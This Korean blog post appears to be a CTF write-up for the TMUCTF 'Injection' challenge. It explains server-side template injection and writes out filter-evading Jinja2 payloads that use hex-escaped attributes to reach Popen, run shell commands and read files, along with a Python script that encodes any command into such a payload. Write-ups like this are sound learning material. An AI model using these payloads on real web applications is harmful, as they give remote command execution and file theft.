CTF/웹해킹

[TMUCTF] Injection - 웹해킹 / SSTI

SecurityMan 2023. 7. 9. 11:00

 

SSTI 와 관련된 웹해킹 문제

 

SSTI란 Server Side Template Injection의 약자로

 

템플릿 엔진으로 웹 어플리케이션을 구동하는 경우, 공격자가 템플릿 구문을 악용하여

 

삽입할 수 있는 취약점이다.

 

이렇게 템플릿 구문이 삽입되게 되면, 원격 명령어 실행도 가능하게 되는 위험한 취약점이다.

 

반응형

 

 

소스코드는 주어지지 않고

 

문제 페이지 주소만 주어진다.

 

문제 페이지는 관리자에게 뭔가 리포트 하는 기능을 가지고 있다.

 

이름을 입력한 곳이 마지막에 Dear [이름], we have received your message 라고 나오는게 보였다.

 

이곳이 SSTI 백터라고 생각했다.

 

 

이 부분이 벡터가 맞는지 확인하는 방법은 아주 쉽다.

 

여기있는 페이로드를 한번씩 테스트 해보면 된다.

 

가장먼저 {{7*7}} 를 시도해봤다.

 

 

{{7*7}} 를 넣으니

 

Dear 49 라고 출력되었다.

 

이 부분이 백터인게 확실하다.

 

이제 페이로드만 작성하면 되는데

 

이 문제가 까다로운게

 

SSTI 공격을 할때 많이 쓰는 페이로드를 모조리 다 막아놨다.

 

config, _, 스페이스, request, %, . 등등 안되는거 투성이다.

 

{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()}}

 

구글을 다 뒤져서 필터링에 걸리지 않는 페이로드를 만들었다.

 

 

저걸 입력하면 이렇게 class 목록들이 나온다.

 

명령어를 주입하려면 popen 클래스를 찾아야 한다.

 

 

notepad++ 에 복사해서 깔끔하게 정리해준 후

 

popen 클래스의 위치를 찾았다.

 

0부터 시작하므로 실제 위치는 360이 된다.

 

{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(360)('ls',stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)}}

 

이제 페이로드를 수정해서 이렇게 고친다.

 

이렇게 입력하면 ls 명령어를 수행할 수 있다.

 

 

ls 명령어가 잘 수행되어서

 

현재폴더에 있는 파일 목록이 보여진다.

 

help 라는 파일이 눈에 띄는데

 

띄어쓰기가 막혀있어서 cat 으로 읽을 수가 없었다.

 

{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(107)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('open')('help')|attr('read')()}}

 

더 열심히 구글을 찾아서

 

<class 'codecs.IncrementalEncoder'> 를 사용하는 페이로드를 만들었다.

 

이걸 사용하면 help 파일의 내용을 읽을 수 있다.

 

 

help 파일의 내용은 위와 같다.

 

플래그는 /opt/tmuctf/ 경로의 마지막 파일이라고 하는데..

 

파일 이름을 알 수 가 없었다.

 

결국 ls /opt/tmuctf/ 형태로 파일 목록을 읽어야 하는데

 

<class 'codecs.IncrementalEncoder'>  를 사용하는건 파일 읽는거 한정이라 사용하지 못했다.

 

def hexx(s):
    return ''.join([hex(ord(i)).replace("0x","\\x") for i in s])

cmd = input("$ ")

cmd = cmd.split()
sh = '('
for c in range(len(cmd)-1):
     sh += "'" + hexx(cmd[c]) + "',"
    
sh += "'" + hexx(cmd[-1]) + "')"

payload = "{{()|attr('\\x5f\\x5fclass\\x5f\\x5f')|attr('\\x5f\\x5fbase\\x5f\\x5f')|attr('\\x5f\\x5fsubclasses\\x5f\\x5f')()|attr('\\x5f\\x5fgetitem\\x5f\\x5f')(360)(%s,stdout=-1)|attr('communicate')()|attr('\\x5f\\x5fgetitem\\x5f\\x5f')(0)}}" % sh

print(payload)

 

또 열심히 구글을 찾아본 결과 방법을 알아냈다.

 

위는 페이로드 작성을 도와주는 코드이다.

 

간단하게 

 

ls -al 을 입력하고 싶다면

 

('ls의 hex값','-al의 hex값') 이런식으로 만들어 출력해주는 것이다.

 

 

위 코드를 이용해

 

ls /opt/tmuctf/ -al 에 대핸 페이로드를 만들어 입력한 결과이다.

 

여러 파일들이 출력되는게 보인다.

 

 

last file 이라고 해서 그냥 맨 뒤에 있는건줄 알았는데

 

자세히 보니 하나만 7:56에 만들어진게 있었다.

 

이 파일을 읽으면 된다.

 

{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(360)(('\x63\x61\x74','\x2f\x6f\x70\x74\x2f\x74\x6d\x75\x63\x74\x66\x2f\x76\x61\x59\x78\x56\x6a\x37\x73\x69\x38'),stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)}}

 

cat /opt/tmuctf/vaYxVj7si8 하면 

 

위와 같은 페이로드가 만들어 진다.

 

 

내용은 base64로 된 값이 들어있다.

 

 

CyberChef(https://gchq.github.io/CyberChef/) 에서 디코딩해주면

 

플래그를 찾을 수 있다.

반응형